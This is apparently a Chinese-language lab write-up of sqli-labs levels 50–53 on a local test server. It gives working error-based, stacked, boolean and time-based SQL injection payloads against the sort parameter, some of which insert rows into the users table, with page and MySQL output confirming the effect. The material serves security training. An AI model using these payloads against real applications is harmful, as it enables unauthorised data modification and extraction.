

环境终于能用了

/Less-50/?sort=1

工具性 实验室 区块链 其它

Welcome Dhakkan

ID	USERNAME	PASSWORD
1	Dumb	Dumb
2	Angelina	I-kill-you
3	Dummy	p@ssword
4	secure	crappy
5	stupid	stupidity
6	superman	genious
7	batman	mob!le
8	admin	admin
9	admin1	admin1
10	admin2	admin2
11	admin3	admin3
12	dhakkan	dumbo
13	admin4	admin4
14	admin5	admin5
38	less38	hello
39	roo	man
40	roo	man
41	roo	man
42	roo	man
43	roo	man
44	roo	man

可以使用Less46中使用的报错注入，同时这一关用的是mysql_multi_query()函数，因此可以使用堆叠注入

[http://127.0.0.1:8888/sqlilabs/Less-50/?sort=1%20and%20extractvalue\(1,concat\(0x7e,\(database\(\)\),0x7e\)\);%20%20insert%20into%20users\(username,password\)%20values\(%27stack%27,%27stack%27\);](http://127.0.0.1:8888/sqlilabs/Less-50/?sort=1%20and%20extractvalue(1,concat(0x7e,(database()),0x7e));%20%20insert%20into%20users(username,password)%20values(%27stack%27,%27stack%27);)

但是堆叠注入的内容不会被执行，因为在extractvalue()的时候，已经引发报错了，导致接下来的堆叠注入不得以执行。

<http://127.0.0.1:8888/sqlilabs/Less-50/?>

[sort=1;insert%20into%20users\(id,username,password\)%20values%20\(%2750%27,%27roo%27,%27man%27\)#](#)

可以先用报错注入得到数据库结构后在用堆叠注入进行改变

Less51 变为字符型 ?sort=1' and extractvalue(1,concat(0x7e,(database())),0x7e));

Less52 变为盲注，可以用布尔注入和延时注入？

sort=rand(length(database())=8);insert%20into%20users%20(id,username,password)%20values(%2752%27,%27roo%27,%27man%27)%23

Less-52/?sort=rand(length(database())=8);insert%20into%20users%20(id,username,password)%20values(%2752%27,%27roo%27,%27man%27)%23

工具性 实验室 区块链 其它

Welcome Dhakkan

ID	USERNAME	PASSWORD
11	admin3	admin3
5	stupid	stupidity
43	roo	man
4	secure	crappy
3	Dummy	p@ssword
12	dhakkan	dumbo
9	admin1	admin1
38	less38	hello
8	admin	admin
10	admin2	admin2
44	roo	man
50	roo	man
1	Dumb	Dumb
39	roo	man
41	roo	man
14	admin5	admin5
40	roo	man
7	batman	mobile
42	roo	man
13	admin4	admin4
2	Angelina	I-kill-you
6	superman	genious

```
mysql> exit
Bye
RomanovdeMacBook-Pro:~ romanov$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 24
Server version: 5.7.26 MySQL Community Server (GPL)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use security;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from users order;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near '' at
line 1
mysql> select * from users;
+----+-----+-----+
| id | username | password |
+----+-----+-----+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mobile |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumb0 |
| 13 | admin4 | admin4 |
| 14 | admin5 | admin5 |
| 38 | less38 | hello |
| 39 | roo | man |
| 40 | roo | man |
| 41 | roo | man |
| 42 | roo | man |
| 43 | roo | man |
| 44 | roo | man |
| 50 | roo | man |
| 52 | roo | man |
+----+-----+-----+
23 rows in set (0.00 sec)

mysql>
```

Less53 字符型盲注，只能用延时注入 ?sort=1 and

sleep(if((length(database())=8),0,1));

insert%20into%20users%20(id,username,password)%20values(%2753%27,%27roo%27,%27man%27)%23

//这里的sleep是条件语句正确则延时0否则延时1s

127.0.0.1:8888/sqllabs/Less-52/?sort=1%20and%20sleep(if((length(database())=8),0,1));%20insert%20into%20users%20(id,username,password)%20values(%2753%27,%27roo%27,%27man%27)%23

论文服务 CTF 工具性 实验室 区块链 其它

Welcome Dhakkan

ID	USERNAME	PASSWORD
6	superman	genious
14	admin5	admin5
50	roo	man
1	Dumb	Dumb
9	admin1	admin1
40	roo	man
4	secure	crappy
12	dhakkan	dumbo
43	roo	man
7	batman	mobile
38	less38	hello
52	roo	man
2	Angelina	I-kill-you
10	admin2	admin2
41	roo	man
5	stupid	stupidity
13	admin4	admin4
44	roo	man
8	admin	admin
39	roo	man
3	Dummy	p@ssword
11	admin3	admin3
42	roo	man

romanov — mysql -u root -p — 80x58

```
1 | Dumb | Dumb |
2 | Angelina | I-kill-you |
3 | Dummy | p@ssword |
4 | secure | crappy |
5 | stupid | stupidity |
6 | superman | genious |
7 | batman | mobile |
8 | admin | admin |
9 | admin1 | admin1 |
10 | admin2 | admin2 |
11 | admin3 | admin3 |
12 | dhakkan | dumbo |
13 | admin4 | admin4 |
14 | admin5 | admin5 |
38 | less38 | hello |
39 | roo | man |
40 | roo | man |
41 | roo | man |
42 | roo | man |
43 | roo | man |
44 | roo | man |
50 | roo | man |
52 | roo | man |
```

23 rows in set (0.00 sec)

mysql> select * from users;

id	username	password
1	Dumb	Dumb
2	Angelina	I-kill-you
3	Dummy	p@ssword
4	secure	crappy
5	stupid	stupidity
6	superman	genious
7	batman	mobile
8	admin	admin
9	admin1	admin1
10	admin2	admin2
11	admin3	admin3
12	dhakkan	dumbo
13	admin4	admin4
14	admin5	admin5
38	less38	hello
39	roo	man
40	roo	man
41	roo	man
42	roo	man
43	roo	man
44	roo	man
50	roo	man
52	roo	man

24 rows in set (0.00 sec)

mysql>